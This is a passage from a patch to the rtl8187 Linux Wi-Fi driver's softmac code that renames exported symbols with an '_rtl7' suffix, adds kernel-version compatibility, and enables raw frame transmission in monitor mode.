}while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_softmac_wx.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-08-12 13:11:33.000000000 -0400 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - - struct sockaddr *temp = (struct sockaddr *)awrq; - + + temp = (struct sockaddr *)awrq; /* use ifconfig hw ether */ if (ieee->iw_mode == IW_MODE_MASTER){ ret = -1; goto out; } - + if (temp->sa_family != ARPHRD_ETHER){ ret = -EINVAL; goto out; } - + if (ifup) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* just to avoid to give inconsistent infos in the - * get wx method. not really needed otherwise + * get wx method. not really needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - - memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); + + memcpy(ieee->current_network.bssid, temp->sa_data, ETH_ALEN); ieee->wap_set = memcmp(temp->sa_data, zero,ETH_ALEN)!=0; - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (ifup) - ieee80211_start_protocol(ieee); - + ieee80211_start_protocol_rtl7(ieee); + out: up(&ieee->wx_sem); return ret; } - - int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) + + int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b) { int len,ret = 0; unsigned long flags; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - - /* We want avoid to give to the user inconsistent infos*/ + + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->current_network.ssid[0] == '\0' || - ieee->current_network.ssid_len == 0){ + ieee->current_network.ssid_len == 0){ ret = -1; goto out; } - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->ssid_set == 0){ ret = -1; @@ -204,59 +204,76 @@ out: spin_unlock_irqrestore(&ieee->lock, flags); - + return ret; - + } -int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { u32 target_rate = wrqu->bitrate.value; - + ieee->rate = target_rate/100000; //FIXME: we might want to limit rate also in management protocols. - return 0; + return 0; } -int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + wrqu->bitrate.value = ieee->rate * 100000; - + return 0; } -int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - + short prev = ieee->raw_tx; + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + if (wrqu->mode == ieee->iw_mode) goto out; - + if (wrqu->mode == IW_MODE_MONITOR){ - - ieee->dev->type = ARPHRD_IEEE80211; + ieee->dev->type = ARPHRD_IEEE80211_PRISM; }else{ ieee->dev->type = ARPHRD_ETHER; } - + if (!ieee->proto_started){ ieee->iw_mode = wrqu->mode; }else{ - ieee80211_stop_protocol(ieee); + ieee80211_stop_protocol_rtl7(ieee); ieee->iw_mode = wrqu->mode; - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); + } + + if(ieee->iw_mode == IW_MODE_MONITOR) + { + ieee->raw_tx = 1; + if(prev == 0 && ieee->raw_tx){ + if (ieee->data_hard_resume) + ieee->data_hard_resume(ieee->dev); + + netif_carrier_on(ieee->dev); + } + + netif_carrier_on(ieee->dev); + } + else + { + ieee->raw_tx = 0; } out: @@ -264,120 +281,132 @@ return 0; } -void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, wx_sync_scan_wq); +#else +void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short chan; chan = ieee->current_network.channel; - + netif_carrier_off(ieee->dev); - + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee->state = IEEE80211_LINKED_SCANNING; ieee->link_change(ieee->dev); - - ieee80211_start_scan_syncro(ieee); - + + ieee80211_start_scan_syncro_rtl7(ieee); + ieee->set_chan(ieee->dev, chan); - + ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_send_beacons(ieee); - + ieee80211_start_send_beacons_rtl7(ieee); + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); - + } -int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret = 0; - + down(&ieee->wx_sem); - - if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ + + if (ieee->iw_mode == IW_MODE_MONITOR || !(ieee->proto_started)){ ret = -1; goto out; } - + if ( ieee->state == IEEE80211_LINKED){ queue_work(ieee->wq, &ieee->wx_sync_scan_wq); /* intentionally forget to up sem */ return 0; } - + out: up(&ieee->wx_sem); return ret; } -int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra) { - + int ret=0,len; short proto_started; unsigned long flags; - + ieee->sync_scan_hurryup = 1; - + down(&ieee->wx_sem); - + proto_started = ieee->proto_started; - + if (wrqu->essid.length > IW_ESSID_MAX_SIZE){ ret= -E2BIG; goto out; } - + if (ieee->iw_mode == IW_MODE_MONITOR){ ret= -1; goto out; } - + if(proto_started) - ieee80211_stop_protocol(ieee); - + ieee80211_stop_protocol_rtl7(ieee); + /* this is just to be sure that the GET wx callback * has consisten infos. not needed otherwise */ spin_lock_irqsave(&ieee->lock, flags); - + if (wrqu->essid.flags && wrqu->essid.length) { +#if WIRELESS_EXT > 20 + len = min((int)wrqu->essid.length, IW_ESSID_MAX_SIZE); +#else len = ((wrqu->essid.length-1) < IW_ESSID_MAX_SIZE) ? (wrqu->essid.length-1) : IW_ESSID_MAX_SIZE; - +#endif + strncpy(ieee->current_network.ssid, extra, len); ieee->current_network.ssid_len = len; ieee->ssid_set = 1; } - else{ + else{ ieee->ssid_set = 0; ieee->current_network.ssid[0] = '\0'; ieee->current_network.ssid_len = 0; } - + spin_unlock_irqrestore(&ieee->lock, flags); - + if (proto_started) - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); out: up(&ieee->wx_sem); + + return ret; } - int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -385,23 +414,23 @@ return 0; } - int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, + int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - + int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = ieee->raw_tx; down(&ieee->wx_sem); - - if(enable) + + if(enable) ieee->raw_tx = 1; - else + else ieee->raw_tx = 0; - printk(KERN_INFO"raw TX is %s\n", + printk(KERN_INFO"raw TX is %s\n", ieee->raw_tx ? "enabled" : "disabled"); if(ieee->iw_mode == IW_MODE_MONITOR) @@ -409,21 +438,21 @@ if(prev == 0 && ieee->raw_tx){ if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - - netif_carrier_on(ieee->dev); + + netif_carrier_on(ieee->dev); } - + if(prev && ieee->raw_tx == 1) - netif_carrier_off(ieee->dev); + netif_carrier_off(ieee->dev); } - + up(&ieee->wx_sem); - + return 0; } - -int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { strcpy(wrqu->name, "802.11"); @@ -433,20 +462,20 @@ strcat(wrqu->name, "/g"); }else if(ieee->modulation & IEEE80211_OFDM_MODULATION) strcat(wrqu->name, "g"); - - if((ieee->state == IEEE80211_LINKED) || + + if((ieee->state == IEEE80211_LINKED) || (ieee->state == IEEE80211_LINKED_SCANNING)) strcat(wrqu->name," linked"); else if(ieee->state != IEEE80211_NOLINK) strcat(wrqu->name," link.."); - - + + return 0; } /* this is mostly stolen from hostap */ -int ieee80211_wx_set_power(struct ieee80211_device *ieee, +int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -457,50 +486,50 @@ (!ieee->ps_request_tx_ack) || (!ieee->enter_sleep_state) || (!ieee->ps_is_queue_empty)){ - + printk("ERROR. PS mode is tryied to be use but\ -driver missed a callback\n\n"); - +driver missed a callback\n\n"); + return -1; } - + down(&ieee->wx_sem); - + if (wrqu->power.disabled){ ieee->ps = IEEE80211_PS_DISABLED; - + goto exit; } switch (wrqu->power.flags & IW_POWER_MODE) { case IW_POWER_UNICAST_R: ieee->ps = IEEE80211_PS_UNICAST; - + break; case IW_POWER_ALL_R: - ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; + ieee->ps = IEEE80211_PS_UNICAST | IEEE80211_PS_MBCAST; break; - + case IW_POWER_ON: ieee->ps = IEEE80211_PS_DISABLED; break; - + default: ret = -EINVAL; goto exit; } if (wrqu->power.flags & IW_POWER_TIMEOUT) { - + ieee->ps_timeout = wrqu->power.value / 1000; printk("Timeout %d\n",ieee->ps_timeout); } - + if (wrqu->power.flags & IW_POWER_PERIOD) { - + ret = -EOPNOTSUPP; goto exit; //wrq->value / 1024; - + } exit: up(&ieee->wx_sem); @@ -509,15 +538,15 @@ } /* this is stolen from hostap */ -int ieee80211_wx_get_power(struct ieee80211_device *ieee, +int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret =0; - + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c 2006-06-05 22:57:54.000000000 -0400 +++ 